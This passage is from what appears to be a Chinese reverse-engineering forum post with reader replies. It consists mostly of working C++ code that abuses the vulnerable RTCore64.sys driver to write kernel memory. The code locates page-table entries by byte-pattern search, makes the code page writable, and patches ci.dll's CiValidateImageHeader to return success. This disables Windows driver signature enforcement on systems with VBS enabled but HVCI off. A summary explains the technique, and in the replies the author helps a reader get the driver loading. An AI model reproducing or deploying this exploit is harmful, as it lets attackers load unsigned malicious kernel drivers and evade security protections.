            if (hFile == INVALID_HANDLE_VALUE)
            {
                DWORD err = GetLastError();
                cout << "打开CI文件失败，错误码：" << err << endl;
                break;
            }

// 获取文件大小
            LARGE_INTEGER fileSize = { 0 };
            if (!GetFileSizeEx(hFile, &fileSize)) 
            { 
                cout << "获取CI文件大小失败" << endl; 
                break; 
            };
            
            size_t qwFileSize = fileSize.QuadPart;
            if (!qwFileSize)
            {
                cout << "CI文件大小无效" << endl;
                break;
            }

// 分配缓冲区读取文件内容
            ImageBuffer = VirtualAlloc(NULL, qwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            if (!ImageBuffer)
            {
                DWORD err = GetLastError();
                cout << "分配CI文件缓冲区失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageBuffer, qwFileSize);

// 读取文件内容到缓冲区
            DWORD bytesRead = 0;
            if (!ReadFile(hFile, ImageBuffer, qwFileSize, &bytesRead, NULL) || bytesRead != qwFileSize)
            {
                DWORD err = GetLastError();
                cout << "读取CI文件失败，错误码：" << err << endl;
                break;
            }
            CloseHandle(hFile);
            hFile = NULL;

// 获取PE文件NT头
            PIMAGE_NT_HEADERS ntHeaders = NULL;
            if (!GetNTHeaders(ImageBuffer, &ntHeaders))
            {
                cout << "获取CI镜像NT头失败" << endl;
                break;
            }

// 分配内存映射PE镜像
            ImageMemory = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, 
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            
            if (!ImageMemory)
            {
                DWORD err = GetLastError();
                cout << "分配CI镜像内存失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageMemory, ntHeaders->OptionalHeader.SizeOfImage);

// 复制PE头
            memcpy(ImageMemory, ImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

// 释放文件缓冲区，保存镜像信息
            ImageBuffer = NULL;
            gCiImageBase = ImageMemory;
            gCiImageSize = ntHeaders->OptionalHeader.SizeOfImage;
            result = TRUE;

} while (false);

// 清理资源
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            CloseHandle(hFile);
        
        if (ImageBuffer)
            VirtualFree(ImageBuffer, 0, MEM_RELEASE);
        
        return result;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        DWORD err = GetExceptionCode();
        cout << "映射CI镜像异常，异常码：0x" << hex << err << endl;
        ExitProcess(1);
    }
}

/**
 * @brief 释放本地映射的CI镜像
 */
VOID UnmapCiImage()
{
    if (gCiImageBase)
    {
        VirtualFree(gCiImageBase, 0, MEM_RELEASE);
        gCiImageBase = NULL;
    }
}

/**
 * @brief 获取PE文件导出函数的RVA
 * @param BaseAddress PE文件基地址
 * @param FuncName 导出函数名
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetFuncRVA(PVOID BaseAddress, const char* FuncName)
{
    PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
    if (!GetImageExportDirectory(BaseAddress, &pExportDir))
    {
        cout << "获取导出表失败" << endl;
        return 0;
    }

// 解析导出表函数地址、名称、序号数组
    PDWORD funcRVA = (PDWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfFunctions);
    PDWORD nameRVA = (PDWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfNames);
    PWORD nameOrdinal = (PWORD)((DWORD_PTR)BaseAddress + pExportDir->AddressOfNameOrdinals);

// 遍历导出函数查找目标函数
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++)
    {
        if (!strcmp(FuncName, (char*)BaseAddress + nameRVA[i]))
            return funcRVA[nameOrdinal[i]];
    }

cout << "查找函数RVA失败" << endl;
    return 0;
}

/**
 * @brief 通过特征码查找MiGetPteAddress函数的RVA
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetMiGetPteAddressFuncRVA()
{
    // MiGetPteAddress函数特征码
    BYTE pattern[] = "\x48\xc1\xe9\x09\x48\xb8\xf8\xff\xff\xff\x7f\x00\x00\x00\x48\x23\xc8\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x03\xc1\xc3";
    char mask[] = "xxxxxxxxxxxxxxxxxxxxxxx????xxxx";
    
    // 在.text节搜索特征码
    PBYTE funcAddr = (PBYTE)SearchPattern(gKernelImageExecuteBase, gKernelImageExecuteSize, pattern, mask);
    // 计算RVA（相对镜像基地址）
    return (DWORD_PTR)funcAddr - (DWORD_PTR)gKernelImageBase;
}

/**
 * @brief 查找CiValidateImageHeader函数的RVA
 * @return 成功返回函数RVA，失败返回0
 */
DWORD_PTR GetCiValidateImageHeaderRVA()
{
    // 先找到CiInitialize函数地址
    PBYTE pCiInitialize = (PBYTE)gCiImageBase + GetFuncRVA(gCiImageBase, "CiInitialize");
    cout << "CI!CiInitialize 地址：0x" << hex << (DWORD_PTR)gCiBase + GetFuncRVA(gCiImageBase, "CiInitialize") << endl;

// 搜索CipInitialize函数特征码
    BYTE pattern[] = "\x48\x8b\xd6\x8b\xcd";
    char mask[] = "xxxxx";
    PBYTE pCipInitialize = (PBYTE)SearchPattern(pCiInitialize, 0x1000, pattern, mask);
    pCipInitialize += 5;

// 解析偏移找到CipInitialize函数
    INT32 offset = *(INT32*)(pCipInitialize + 1);
    pCipInitialize += 5;
    pCipInitialize += offset;
    cout << "CI!CipInitialize 地址：0x" << hex << (DWORD_PTR)pCipInitialize - (DWORD_PTR)gCiImageBase + (DWORD_PTR)gCiBase;

// 搜索CiValidateImageHeader函数特征码
    BYTE pattern2[] = "\x48\x8d\x05\x00\x00\x00\x00";
    char mask2[] = "xxx??xx";
    PBYTE uValueA = (PBYTE)SearchPattern(pCipInitialize, 0x2000, pattern2, mask2);
    INT32 offset2 = *(INT32*)(uValueA + 3);
    cout << "offset2=0x" << hex << offset2 << endl;

// 计算CiValidateImageHeader函数RVA
    DWORD_PTR next = (DWORD_PTR)uValueA + 7;
    return (next + offset2) - (DWORD_PTR)gCiImageBase;
}

int main()
{
    // 启用调试权限
    EnableDebugPrivilege();

ULONGLONG address = 0;
    // 获取内核模块基地址
    PBYTE kernelBase = (PBYTE)GetKernelBase();
    cout << "内核基址：0x" << hex << (DWORD_PTR)kernelBase << endl;
    InitDevice();
    // 映射内核镜像到本地
    if (!MapKernelImage())
    {
        cout << "映射内核镜像失败" << endl;
        CloseDevice();
        cin.get();
        return -1;
    }

// 映射CI镜像到本地
    if (!MapCiImage())
    {
        cout << "映射CI镜像失败" << endl;
        CloseDevice();
        UnmapKernelImage();
        cin.get();
        return -1;
    }

// 获取内核镜像.text节地址
    if (!GetKernelImageExecuteBase())
    {
        cout << "获取内核镜像可执行段失败" << endl;
        UnmapKernelImage();
        UnmapCiImage();
        CloseDevice();
        cin.get();
        return -1;
    }

cout << "内核镜像基址：0x" << hex << (DWORD_PTR)gKernelImageBase << endl;

// 获取CI模块基地址
    gCiBase = GetKernelModuleBase("ci.dll", NULL);
    if (!gCiBase)
    {
        cout << "获取Ci.dll基地址失败" << endl;
    }
    cout << "Ci.dll基地址：0x" << hex << (DWORD_PTR)gCiBase << endl;

// 查找MiGetPteAddress函数RVA和实际地址
    DWORD_PTR miGetPteAddressFuncRVA = GetMiGetPteAddressFuncRVA();
    cout << "MiGetPteAddress函数RVA：0x" << hex << miGetPteAddressFuncRVA << endl;
    PVOID miGetPteAddressFunc = (PBYTE)kernelBase + miGetPteAddressFuncRVA;
    cout << "MiGetPteAddress函数地址：0x" << hex << (DWORD_PTR)miGetPteAddressFunc << endl;

// 读取PTE基地址
    DWORD64 pteBaseAddress = 0;
    KernelReadMemory((PBYTE)miGetPteAddressFunc + 19, (PBYTE)&pteBaseAddress, sizeof(pteBaseAddress));
    
    // 解析MiGetPteAddress函数常量
    BYTE uValueA = *(BYTE*)((DWORD64)gKernelImageBase + miGetPteAddressFuncRVA + 0x03);
    DWORD64 uValueB = *(DWORD64*)((DWORD64)gKernelImageBase + miGetPteAddressFuncRVA + 0x06);
    cout << "uValueA：0x" << hex << (DWORD)uValueA << endl;
    cout << "uValueB：0x" << hex << uValueB << endl;
    cout << "PTE基址：0x" << hex << pteBaseAddress << endl;

// 查找CiValidateImageHeader函数实际地址
    PVOID pCiValidateImageHeader = (PVOID)((DWORD_PTR)gCiBase + GetCiValidateImageHeaderRVA());
    cout << "CiValidateImageHeader函数地址：0x" << hex << (DWORD_PTR)pCiValidateImageHeader << endl;

// 计算CiValidateImageHeader函数对应的PTE地址
    address = (ULONGLONG)pCiValidateImageHeader;
    ULONG64* pte = (ULONG64*)((address >> uValueA & uValueB) + pteBaseAddress);
    cout << "PTE地址：0x" << hex << (DWORD_PTR)pte << endl;

// 读取PTE原值并修改权限（添加可写位）
    DWORD64 pteValue = 0;
    KernelReadMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
    pteValue = pteValue | 2;
    KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));

// 保存CiValidateImageHeader函数原始前4字节
    BYTE originalValue[4] = { 0 };
    KernelReadMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));

// 篡改CiValidateImageHeader函数（替换为"xor rax,rax; ret"）
    KernelWriteMemory(pCiValidateImageHeader, (PBYTE)"\x48\x31\xc0\xc3", 4);

// 等待用户输入后恢复原始值
    cout << "按任意键恢复原始值..." << endl;
    cin.get();

// 恢复CiValidateImageHeader函数原始值
    KernelWriteMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
    
    // 恢复PTE权限
    pteValue = pteValue ^ 2;
    KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));

// 清理资源
    CloseDevice();
    UnmapCiImage();
    UnmapKernelImage();

cout << "已恢复原始值，按任意键退出..." << endl;
    cin.get();
    return 0;
}
```
## 四、总结

在启用VBS（基于虚拟化的安全）但未开启HVCI（管理程序代码完整性）的环境下，通过代码热修补技术可绕过DSE（驱动签名强制）。

### 4.1 核心思路

在VBS环境下，`g_CiOptions`全局变量被内核数据保护（KDP）技术保护，无法直接修改。因此，我们采用了一种间接的方法：通过修改`CiValidateImageHeader`函数，使其在执行签名验证前直接返回`STATUS_SUCCESS`，从而绕过整个签名验证流程。

### 4.2 技术实现要点

1. **漏洞驱动利用**：利用RTCore64.sys漏洞驱动实现对内核内存的读写操作，这是整个绕过过程的基础。

2. **内存映射**：通过映射内核镜像和ci.dll镜像到用户空间，便于分析和定位关键函数。

3. **特征码搜索**：使用特征码搜索技术定位`MiGetPteAddress`和`CiValidateImageHeader`等关键函数，提高了代码在不同Windows版本上的兼容性。

4. **PTE操作**：通过分析`MiGetPteAddress`函数，提取计算PTE地址所需的参数和基址，实现对页表项的精准定位和权限修改。

5. **热修补技术**：在修改页表项权限后，对`CiValidateImageHeader`函数进行热修补，写入`xor rax, rax; ret`指令使其直接返回`STATUS_SUCCESS`。

### 4.3 局限性与注意事项

1. **HVCI限制**：此方法仅在未开启HVCI的VBS环境下有效。当HVCI开启时，内核代码会被进一步保护，无法通过此方法修改。

2. **蓝屏风险**：在修改页表项权限后，需要在用户空间等待用户输入后恢复原始值，否则会导致 PatchGuard 蓝屏。

回复或点赞可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 2026-9-4 15:32 被漫雾.编辑，原因：

#漏洞利用 #Windows

最新回复 (85) 1 2 3 4 ▶
zz胡雪币： 1049 活跃值： (1869) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 2 楼 666 2026-4-8 16:12 0
大嘴巴巴雪币： 57 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	大嘴巴巴 3 楼 2026-4-8 16:21 0
逆向爱好者雪币： 3557 活跃值： (7939) 能力值： ( LV3，RANK：20 ) 在线值：发帖 37 回帖 288 粉丝 25 关注私信	逆向爱好者 4 楼牛逼牛逼 2026-4-8 17:32 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 5 楼 666 2026-4-8 20:08 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 6 楼找不到支持读写功能的驱动 2026-4-8 20:13 0
mb_urzqsoer 雪币： 206 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 121 粉丝 0 关注私信	mb_urzqsoer 7 楼不错不错学习了 2026-4-8 21:30 0
漫雾. 雪币： 2250 活跃值： (1316) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 18 粉丝 48 关注私信	漫雾. 2 8 楼夕阳s 找不到支持读写功能的驱动[em_006] 要RTCore64.sys 2026-4-8 22:59 0
zhatian 雪币： 7749 活跃值： (5727) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 256 粉丝 20 关注私信	zhatian 9 楼 666 2026-4-8 22:59 0
夕阳s 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 16 粉丝 0 关注私信	夕阳s 10 楼漫雾. 要RTCore64.sys 这个sys新系统启动不了 2026-4-9 00:13 0
漫雾. 雪币： 2250 活跃值： (1316) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 18 粉丝 48 关注私信	漫雾. 2 11 楼夕阳s 这个sys新系统启动不了我那边可以的，就是Win11最新版本 2026-4-9 09:30 0
漫雾. 雪币： 2250 活跃值： (1316) 能力值： ( LV6，RANK：90 ) 在线值：发帖 4 回帖 18 粉丝 48 关注私信	漫雾. 2 12 楼你把RTCore64.sys放到C:\Windows\System32\drivers里试试 2026-4-9 09:31 0
啊你好哇123 雪币： 798 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 376 粉丝 0 关注私信	啊你好哇123 13 楼学习学习 2026-4-9 11:40 0
mb_ysegxpmv 雪币： 2248 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 118 粉丝 0 关注私信	mb_ysegxpmv 14 楼牛逼 2026-4-9 12:25 0
wx_庸才雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	wx_庸才 15 楼 XX 2026-4-9 13:11 0
laosanls 雪币： 164 活跃值： (879) 能力值： ( LV3，RANK：20 ) 在线值：发帖 35 回帖 129 粉丝 9 关注私信	laosanls 16 楼看看，谢谢。 2026-4-11 01:38 0
git_77796hhhenggg 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	git_77796hhhenggg 17 楼学习 2026-4-14 05:59 0
mb_izusscmv 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	mb_izusscmv 18 楼谢谢分享 2026-4-14 06:34 0
wx_IT_717 雪币： 3046 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 112 粉丝 0 关注私信	wx_IT_717 19 楼厉害啊，感谢分享 2026-4-14 08:30 0
YoungBai 雪币： 1340 活跃值： (1730) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 153 粉丝 2 关注私信	YoungBai 20 楼 666 2026-4-14 09:26 0
Nashine 雪币： 162 活跃值： (119) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 7 粉丝 0 关注私信	Nashine 21 楼这么厉害的帖子，必须回复一下啊。 2026-4-15 12:46 0
wx-YATUOKESI 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	wx-YATUOKESI 22 楼 1 2026-4-18 23:14 0
bq7 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	bq7 23 楼 2026-4-27 21:35 0
mb_huubopcm 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 15 粉丝 0 关注私信	mb_huubopcm 24 楼 6666666 2026-4-28 11:39 0
4seaynl 雪币： 1179 活跃值： (120) 能力值： ( LV3，RANK：20 ) 在线值：发帖 7 回帖 6 粉丝 8 关注私信	4seaynl 25 楼支持 2026-5-1 01:04 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复